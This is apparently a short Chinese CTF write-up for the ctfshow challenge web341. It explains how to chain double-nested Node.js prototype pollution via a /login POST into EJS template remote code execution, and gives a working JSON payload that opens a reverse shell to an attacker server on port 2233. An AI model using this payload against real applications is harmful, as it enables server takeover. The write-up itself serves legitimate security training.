题目描述处蓝奏云下载源码
    web341.zip

    这题和其他不同的是没有 /api 接口触发污染点了,所以使用 web338 中的 ejs RCE。
    然后像 web340 一样污染要套两层。下面 EXP 也服务器监听端口是 2233

    1. {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();var __tmp2"}}}

    注意这里的前面的 _tmp1; 和后面的 var __tmp2 不能删,web338 evil0 的分析有体现到,是为了闭合代码。

    同样 POST 一下 /login 接口污染数据
    image.png
    然后请求一个会调用 render 方法的接口
    image.png
    即可获得 flag
    image.png